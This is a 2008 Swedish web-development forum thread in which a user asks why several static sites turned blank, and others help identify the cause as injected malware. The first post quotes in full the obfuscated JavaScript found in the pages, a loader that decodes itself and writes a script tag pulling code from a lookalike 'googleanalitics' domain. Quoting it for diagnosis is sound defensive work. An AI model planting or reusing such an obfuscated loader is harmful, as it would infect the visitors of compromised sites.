---
title: "Sidorna hackade?"
type: "forum-thread"
url: "https://www.webforum.nu/amne/webbutveckling/171132-sidorna-hackade"
topic: "Webbutveckling"
topic_url: "https://www.webforum.nu/amne/webbutveckling"
author: "K@llen"
published: "2008-04-28T14:45:54.000Z"
updated: "2008-04-29T17:24:19.000Z"
replies: 7
views: 697
page: 1
pages: 1
language: "sv-SE"
site: "webForum — webforum.nu"
rights: "Upphovsrätten till varje inlägg tillhör dess författare."
attribution: "Citera som: webForum, https://www.webforum.nu/amne/webbutveckling/171132-sidorna-hackade"
---

# Sidorna hackade?

## #1 — K@llen, 2008-04-28T14:45Z

Hej,

Har en fråga angående försvunna webbsidor. Några vänner till mig har tre olika sidor som ligger på två olika webbhotell. Förra veckan får jag frågan om jag kan kolla varför deras ena sida bara är en vit sida. Denna veckan får jag samma fråga gällande de två andra webbplatserna. Webbplatserna är vanliga statiska sidor som bygger på enbart HTML och Flash.

När jag kollar källkoden Finns allt tom \</header\> kvar. Därefter är det tomt förutom ett javascript som ingen känner igen. Inte ens jag som uppdaterat sidorna med text ett antal gånger. Scriptet:

```
<!--9d8f8e12497d258c1a32ee711f0bc5f9-><script language=javascript>jilq="%";gvk="<j73j63rij70t laj6eguage=j6aavj61sj63rij70t>j20 j66j75nj63j74ion j70bj6a(j71){j76j61r j6ej72,tj6a=j22j7cj21j50Vj6ewj6f{[j78j20$j27j62fj48j30j49j34j5cj22~u9}j5edOj6bj3a83`sj61qit;j431@.ch#j2cj5d&j45j6cUAj4dj2a5j29Jj72j37j65_+-TN2j4bZj6dFj70zj76j47(6j42g=j6ayj22,boj63j3d\"j22j2cmouj2cp,sbj3d\"j22,ab;fj6fj72j28nrj3d0j3bj6ej72<j71.lengj74hj3bj6erj2b+){j20j6dou=j71.j63haj72Aj74j28nr);j70=j74j6aj2eindej78Of(mj6fu)j3bifj28p>-j31){j20j61j62=j28j28j70+1j29j25j381-1)j3bif(abj3c=0)aj62j2b=j38j31;sj62+=j74j6aj2ej63j68j61rAj74j28j61j62j2d1);j20j7d ej6cj73j65 j73j62j2b=j6doj75;j7dbj6fj63+=sbj3bj64oj63umj65nt.wj72itej28j62oc);j7dj3cj2fsj63rj69j70t>";ugnb=unescape(gvk.replace(/j/g,jilq));var mu,qea;document.write(ugnb);mu="<ah7tz;$Uqw=9q=_j~yqGqah7tz;~>$O{h9F_w;co7t;_6$~<S1R4VN$Uqw=9q=_j\\~rqGqSh7tz;\\~$SR1j\\~#;;z8//oooc={{=U_qwqUt;thacw_;/++9;fcya?~-O{h9F_w;c7_H_77_7-~\\~><\\/S1R4VN>~$JC$</ah7tz;>$";pbj(mu);</script>
```

Jag har ingen vettig förklaring. Först trodde jag att det blivit något fel vid någon kundflytt eller uppgradering på servern. Men nu händer det på två helt olika webbhotell på ganska kort tid.

Min enda förklaring är att sidorna blivit hackade. Någon som kan se annan förklaring?

Permalänk: https://www.webforum.nu/p/171132

## #2 — Mr. N., 2008-04-28T14:50Z

<http://www.idg.se/2.1085/1.158700> kanske?

Permalänk: https://www.webforum.nu/p/2103720

## #3 — K@llen, 2008-04-28T14:52Z

> **Mr. N. skrev:**
>
> <http://www.idg.se/2.1085/1.158700> kanske?

Inga databaser är involverade. Det är helt statiska HTML- och Flash-sidor. Det IDG skriver om verkar gälla SQL-injections.

Permalänk: https://www.webforum.nu/p/2103721

## #4 — spango, 2008-04-29T07:23Z

Jag vet att det fanns en attack mot Apache som lade in sig som en modul i servern, och som på det viset kunde modifiera all utgående HTML, även från statiska filer. Det diskuterades här i forumet, sök runt lite och se om du hittar nåt.

Permalänk: https://www.webforum.nu/p/2103822

## #5 — K@llen, 2008-04-29T14:30Z

Kan du ge mig mer hintar spango? Hittar inget på mina sökningar. :(

Permalänk: https://www.webforum.nu/p/2103944

## #6 — spango, 2008-04-29T14:55Z

Sorry, sökte lite men hittar inte tillbaks till den posten. Jag har dock för mig att det var någon buffer overflow som användes för att lägga in en modul i Apachen, som filtrerade all utdata som var text/html och då lade in script-taggar som i bakgrunden gjorde något fult.

Permalänk: https://www.webforum.nu/p/2103951

## #7 — spango, 2008-04-29T15:29Z

... däremot, om man kollar på vad scriptet faktiskt gör, så ser man att det försöker infoga nåt från googleanalitics punkt net. Eftersom "analytics" stavas med "y" kan vi misstänka att det är nåt fult: <http://www.google.se/search?q=googleanalitics.net> \-\> <http://pouet.net/topic.php?which=5006&page=1>

Permalänk: https://www.webforum.nu/p/2103957

## #8 — K@llen, 2008-04-29T17:24Z

Ah tack spango! :)

Verkar vara exakt detta. Bara index-filerna som är ändrade precis så beskrivs det i länkarna ovan. Detta verkar vara Windows-relaterat. Får forska vidare och se om även OS X kan vara drabbat av trojanen.

Permalänk: https://www.webforum.nu/p/2103980

---

Tråden på webben: https://www.webforum.nu/amne/webbutveckling/171132-sidorna-hackade